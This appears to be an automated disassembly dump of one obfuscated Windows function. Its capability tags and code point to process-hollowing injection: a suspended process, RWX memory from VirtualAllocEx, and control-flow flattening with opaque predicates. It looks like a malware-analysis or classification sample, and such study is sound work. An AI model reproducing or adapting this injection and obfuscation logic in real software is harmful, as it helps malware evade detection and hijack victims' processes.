Function at 0x10003100
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x100
mov eax, dword [0x1006b200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x108], 0xd19a1466
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x10c], eax
sub eax, 0x800697a6
je 0x10007a69
jmp 0x1000313c
mov eax, dword [ebp - 0x10c]
sub eax, 0x80e92cb4
je 0x100071ab
jmp 0x10003152
mov eax, dword [ebp - 0x10c]
sub eax, 0x8195fc9c
je 0x1000a7aa
jmp 0x10003168
mov eax, dword [ebp - 0x10c]
sub eax, 0x820dca23
je 0x10007fe6
jmp 0x1000317e
mov eax, dword [ebp - 0x10c]
sub eax, 0x8254ad17
je 0x100089a7
jmp 0x10003194
mov eax, dword [ebp - 0x10c]
sub eax, 0x828df3bb
je 0x1000b3ff
jmp 0x100031aa
mov eax, dword [ebp - 0x10c]
sub eax, 0x83a38230
je 0x1000b762
jmp 0x100031c0
mov eax, dword [ebp - 0x10c]
sub eax, 0x83bae2d6
je 0x1000a226
jmp 0x100031d6
mov eax, dword [ebp - 0x10c]
sub eax, 0x84b0ad07
je 0x1000b30e
jmp 0x100031ec
mov eax, dword [ebp - 0x10c]
sub eax, 0x8547e52e
je 0x100062f8
jmp 0x10003202
mov eax, dword [ebp - 0x10c]
sub eax, 0x878ebaf9
je 0x10008184
jmp 0x10003218
mov eax, dword [ebp - 0x10c]
sub eax, 0x87c3ab7d
je 0x1000b837
jmp 0x1000322e
mov eax, dword [ebp - 0x10c]
sub eax, 0x89cb5fab
je 0x10006fb1
jmp 0x10003244
mov eax, dword [ebp - 0x10c]
sub eax, 0x89f2156b
je 0x1000934c
jmp 0x1000325a
mov eax, dword [ebp - 0x10c]
sub eax, 0x8ab618a0
je 0x10009665
jmp 0x10003270
mov eax, dword [ebp - 0x10c]
sub eax, 0x8b86b4bf
je 0x10008986
jmp 0x10003286
mov eax, dword [ebp - 0x10c]
sub eax, 0x8b9ba79f
je 0x10009f27
jmp 0x1000329c
mov eax, dword [ebp - 0x10c]
sub eax, 0x8e5c1ed0
je 0x10007384
jmp 0x100032b2
mov eax, dword [ebp - 0x10c]
sub eax, 0x8f3176d2
je 0x1000902d
jmp 0x100032c8
mov eax, dword [ebp - 0x10c]
sub eax, 0x8f418a35
je 0x10008685
jmp 0x100032de
mov eax, dword [ebp - 0x10c]
sub eax, 0x8fa17d2b
je 0x1000759f
jmp 0x100032f4
mov eax, dword [ebp - 0x10c]
sub eax, 0x900afbc1
je 0x1000785d
jmp 0x1000330a
mov eax, dword [ebp - 0x10c]
sub eax, 0x90cccd27
je 0x100070fb
jmp 0x10003320
mov eax, dword [ebp - 0x10c]
sub eax, 0x90feae68
je 0x1000ab15
jmp 0x10003336
mov eax, dword [ebp - 0x10c]
sub eax, 0x92a05f98
je 0x10006d06
jmp 0x1000334c
mov eax, dword [ebp - 0x10c]
sub eax, 0x92dc17d6
je 0x10007c0d
jmp 0x10003362
mov eax, dword [ebp - 0x10c]
sub eax, 0x9345e6a5
je 0x10009c05
jmp 0x10003378
mov eax, dword [ebp - 0x10c]
sub eax, 0x946ed5bf
je 0x1000a202
jmp 0x1000338e
mov eax, dword [ebp - 0x10c]
sub eax, 0x96af1bf4
je 0x100079e5
jmp 0x100033a4
mov eax, dword [ebp - 0x10c]
sub eax, 0x96f4e18c
je 0x100085e7
jmp 0x100033ba
mov eax, dword [ebp - 0x10c]
sub eax, 0x97dc1449
je 0x1000b930
jmp 0x100033d0
mov eax, dword [ebp - 0x10c]
sub eax, 0x983fbb9d
je 0x1000b714
jmp 0x100033e6
mov eax, dword [ebp - 0x10c]
sub eax, 0x9856050d
je 0x10006bca
jmp 0x100033fc
mov eax, dword [ebp - 0x10c]
sub eax, 0x98e21700
je 0x100083ec
jmp 0x10003412
mov eax, dword [ebp - 0x10c]
sub eax, 0x99123799
je 0x10008a8a
jmp 0x10003428
mov eax, dword [ebp - 0x10c]
sub eax, 0x99431e05
je 0x10008805
jmp 0x1000343e
mov eax, dword [ebp - 0x10c]
sub eax, 0x9a1b7fe0
je 0x1000b46b
jmp 0x10003454
mov eax, dword [ebp - 0x10c]
sub eax, 0x9a54e75f
je 0x1000a71a
jmp 0x1000346a
mov eax, dword [ebp - 0x10c]
sub eax, 0x9a5e7282
je 0x10008bba
jmp 0x10003480
mov eax, dword [ebp - 0x10c]
sub eax, 0x9a7da192
je 0x1000ae7b
jmp 0x10003496
mov eax, dword [ebp - 0x10c]
sub eax, 0x9ab57438
je 0x1000b795
jmp 0x100034ac
mov eax, dword [ebp - 0x10c]
sub eax, 0x9ae009b1
je 0x1000ac2a
jmp 0x100034c2
mov eax, dword [ebp - 0x10c]
sub eax, 0x9baf9015
je 0x10005d18
jmp 0x100034d8
mov eax, dword [ebp - 0x10c]
sub eax, 0x9c4f36ff
je 0x1000641f
jmp 0x100034ee
mov eax, dword [ebp - 0x10c]
sub eax, 0x9cc71810
je 0x1000a137
jmp 0x10003504
mov eax, dword [ebp - 0x10c]
sub eax, 0x9ce2b498
je 0x1000b5ac
jmp 0x1000351a
mov eax, dword [ebp - 0x10c]
sub eax, 0x9dba5c03
je 0x100072a0
jmp 0x10003530
mov eax, dword [ebp - 0x10c]
sub eax, 0x9ea3a5af
je 0x1000591b
jmp 0x10003546
mov eax, dword [ebp - 0x10c]
sub eax, 0x9ef27fea
je 0x1000792e
jmp 0x1000355c
mov eax, dword [ebp - 0x10c]
sub eax, 0xa0956f86
je 0x10005c2c
jmp 0x10003572
mov eax, dword [ebp - 0x10c]
sub eax, 0xa1037ea1
je 0x10006678
jmp 0x10003588
mov eax, dword [ebp - 0x10c]
sub eax, 0xa21fd33b
je 0x100098dc
jmp 0x1000359e
mov eax, dword [ebp - 0x10c]
sub eax, 0xa3448564
je 0x10008b32
jmp 0x100035b4
mov eax, dword [ebp - 0x10c]
sub eax, 0xa451896a
je 0x10009526
jmp 0x100035ca
mov eax, dword [ebp - 0x10c]
sub eax, 0xa4774d96
je 0x10007ab6
jmp 0x100035e0
mov eax, dword [ebp - 0x10c]
sub eax, 0xa517b366
je 0x10007375
jmp 0x100035f6
mov eax, dword [ebp - 0x10c]
sub eax, 0xa58b92a7
je 0x10005b73
jmp 0x1000360c
mov eax, dword [ebp - 0x10c]
sub eax, 0xa5a62094
je 0x10008ce3
jmp 0x10003622
mov eax, dword [ebp - 0x10c]
sub eax, 0xa5c96b1e
je 0x10007529
jmp 0x10003638
mov eax, dword [ebp - 0x10c]
sub eax, 0xa6512f35
je 0x10007de8
jmp 0x1000364e
mov eax, dword [ebp - 0x10c]
sub eax, 0xa68bc906
je 0x10009eac
jmp 0x10003664
mov eax, dword [ebp - 0x10c]
sub eax, 0xa81545d8
je 0x1000bb2e
jmp 0x1000367a
mov eax, dword [ebp - 0x10c]
sub eax, 0xaa181ed2
je 0x10007ad7
jmp 0x10003690
mov eax, dword [ebp - 0x10c]
sub eax, 0xabab8c3a
je 0x10006569
jmp 0x100036a6
mov eax, dword [ebp - 0x10c]
sub eax, 0xac0c3d1d
je 0x1000afd0
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
add edx, 0x495ef2c2
sub edx, 1
sub edx, 0x495ef2c2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x318a1289
mov ecx, 0x625d8c25
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
add edx, 0xa92344be
sub edx, 1
sub edx, 0xa92344be
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbe7aa2dc
mov ecx, 0x5b92baa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0xfd78d3fb
sub edx, 1
add edx, 0xfd78d3fb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbfe27ca6
mov ecx, 0x3db4d892
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0x6373403b
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0x5c1753cd
jmp 0x1000bd0a
movss xmm0, dword [0x10019398]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x108], 0xb6f9866a
jmp 0x1000bd0a
mov dl, 1
mov eax, 0x67fb46fe
mov ecx, 0x44956c5e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001921c]
movss dword [eax], xmm0
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2b541e7
mov ecx, 0x6094972
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0xf8c9abdc
jmp 0x1000bd0a
mov dl, 1
mov eax, 0xe771c197
mov ecx, 0x4263bd79
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xade25bfa
mov ecx, 0xd7e3a475
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019200]
movss dword [eax], xmm0
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x637e59b
mov ecx, 0x248d6229
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019344]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x3484c963
jmp 0x1000bd0a
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019340]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xbc5e14e5
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0x8e5c1ed0
jmp 0x1000bd0a
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
add edx, 0x64ba56a7
sub edx, 1
sub edx, 0x64ba56a7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x746bce2
mov ecx, 0x57cf91bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0x3d2fae0d
sub edx, 1
add edx, 0x3d2fae0d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x73a6b815
mov ecx, 0x8fa17d2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100191f4]
movss dword [eax], xmm0
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0xe5721bc3
sub edx, 1
add edx, 0xe5721bc3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x73a6b815
mov ecx, 0x5a4fa9a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov dl, 1
mov eax, 0x74377bea
mov ecx, 0x50254dd2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0xd9d3ed27
jmp 0x1000bd0a
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100191e8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100191e4]
movss dword [eax], xmm0
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0x7deb0edc
sub edx, 1
add edx, 0x7deb0edc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x22fa61c8
mov ecx, 0x4368a484
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0x763f2345
jmp 0x1000bd0a
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001930c]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xaa181ed2
jmp 0x1000bd0a
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10019308]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xe0988cde
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0xea491493
jmp 0x1000bd0a
mov dl, 1
mov eax, 0x704a11cd
mov ecx, 0xff7357e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov dl, 1
mov eax, 0x4ed5e14f
mov ecx, 0x63342d22
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100192c8]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xad202587
jmp 0x1000bd0a
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x277bd68b
mov ecx, 0x3056443d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0xe4203c79
jmp 0x1000bd0a
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191d0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191cc]
movss dword [eax], xmm0
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x331adc91
mov ecx, 0xe40846f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100192ac]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x6f82628
jmp 0x1000bd0a
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001929c]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x8254ad17
jmp 0x1000bd0a
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0x69c4b33a
sub edx, 1
add edx, 0x69c4b33a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x87c3ab7d
mov ecx, 0x7c4fac9c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov dl, 1
mov eax, 0xcd7d52af
mov ecx, 0x44543b27
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100191b8]
movss dword [eax], xmm0
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0xeb577db1
sub edx, 1
add edx, 0xeb577db1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd30fdcda
mov ecx, 0x9a5e7282
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0x5ee21dfa
jmp 0x1000bd0a
mov dl, 1
mov eax, 0x375a4a9a
mov ecx, 0xb2f9cc3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
add edx, 0xf9d687bd
sub edx, 1
sub edx, 0xf9d687bd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6f458bec
mov ecx, 0xbf54262a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0x1d88f417
sub edx, 1
add edx, 0x1d88f417
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd37facb5
mov ecx, 0xe98e7fdf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0x1a829cd1
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0x2166d128
jmp 0x1000bd0a
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0x4442a6a7
sub edx, 1
add edx, 0x4442a6a7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x70354117
mov ecx, 0x6af9cffe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcc94e989
mov ecx, 0xeb1e6e6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xd4]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov edx, dword [ebp - 0xc0]
mov eax, 0x4561c69f
mov ecx, 0x8b9ba79f
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0x3e54fdc8
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0x1347e784
jmp 0x1000bd0a
mov ax, word [ebp - 0x66]
movzx esi, ax
mov edx, dword [ebp - 0x6c]
mov eax, 0x9a54e75f
mov ecx, 0x83bae2d6
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0x1e30d1e8
sub edx, 1
add edx, 0x1e30d1e8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb49592ec
mov ecx, 0x484597c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x108], 0x6b146c1b
jmp 0x1000bd0a
mov eax, dword [ebp - 0x48]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x41], al
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0x34534ab0
sub edx, 1
add edx, 0x34534ab0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf6fd36d7
mov ecx, 0x2f64f47d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0x232609ca
jmp 0x1000bd0a
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5849b14e
mov ecx, 0x3b8d25e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ecx]
add ecx, 0x494299cf
add ecx, eax
sub ecx, 0x494299cf
mov eax, dword [ebp - 0x8c]
mov dword [eax], ecx
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0xeb640279
sub edx, 1
add edx, 0xeb640279
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcf111ec
mov ecx, 0xd4b63a0e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bd0a
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000c370
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movss xmm0, dword [0x10019234]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x108], 0xd37abb7d
jmp 0x1000bd0a
movss xmm0, dword [0x10019228]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x108], 0xf672302b
jmp 0x1000bd0a
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019204]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xbc79a367
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0xfc1adb3a
jmp 0x1000bd0a
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191d8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191d4]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xbc33b0d
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0xf35cbd79
jmp 0x1000bd0a
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100191c0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100191bc]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x7c4fac9c
jmp 0x1000bd0a
mov dword [ebp - 0x108], 0x7d666eeb
jmp 0x1000bd0a
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x108], 0xc457b6e8
jmp 0x1000bd0a
jmp 0x10003120